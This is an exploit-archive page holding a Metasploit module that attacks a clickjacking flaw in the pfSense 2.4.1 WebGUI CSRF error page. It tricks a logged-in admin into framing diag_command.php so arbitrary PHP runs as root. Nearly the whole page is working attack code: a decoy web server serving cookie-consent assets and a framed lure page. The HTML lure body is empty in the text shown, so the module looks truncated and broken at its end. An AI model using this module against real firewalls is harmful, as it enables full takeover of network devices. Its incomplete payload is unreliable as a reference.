pfSense 2.4.1 - Cross-Site Request Forgery Error Page Clickjacking (Metasploit)

Properties

Published:
18.12.2017
Target:
pfSense 2.4.1

Code

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpServer::HTML
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'            => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
        'Description'     => %q{
          This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
 
          pfSense is a free and open source firewall and router. It was found that the
          pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
          into interacting with a specially crafted webpage it is possible for an attacker
          to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
          this will result in a full compromise of the pfSense instance.
        },
        'Author'          => 'Yorick Koster',
        'Payload'         => { 'BadChars' => '"' },
        'License'         => MSF_LICENSE,
        'References'      =>
          [
            ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
            ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
          ],
        'DefaultOptions'  =>
          {
            'EXITFUNC'    => 'process'
          },
        'Arch'            => ARCH_PHP,
        'Platform'        => 'php',
        'Targets'         =>
          [
            [ 'pfSense <= 2.4.1', { 'auto' => false } ]
          ],
        'DefaultTarget'   => 0,
        'DisclosureDate'  => 'Nov 21 2017'
      )
    )
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
      ]
    )
  end
 
  def js_file
    @js ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
      return File.read(path)
    }.call
  end
 
  def css_file
    @css ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
      return File.read(path)
    }.call
  end
 
  def background_file
    @background ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
      return File.read(path)
    }.call
  end
 
  def on_request_uri(cli, request)
    print_status("GET #{request.uri} #{request.headers['User-Agent']}")
 
    resp = create_response(200, "OK")
    if request.uri =~ /\.js$/
      resp.body = js_file
      resp['Content-Type'] = 'text/javascript'
 
    elsif request.uri =~ /\.css$/
      resp.body = css_file
      resp['Content-Type'] = 'text/css'
 
    elsif request.uri =~ /\.jpg$/
      resp.body = background_file
      resp['Content-Type'] = 'image/jpg'
 
    else
      if datastore['TARGETURI'].end_with? '/'
        url = datastore['TARGETURI'] + 'diag_command.php'
      else
        url = datastore['TARGETURI'] + '/diag_command.php'
      end
      framename = rand_text_alpha(16)
      divname = rand_text_alpha(16)
      resp.body = %Q|







| resp['Content-Type'] = 'text/html' end cli.send_response(resp) end end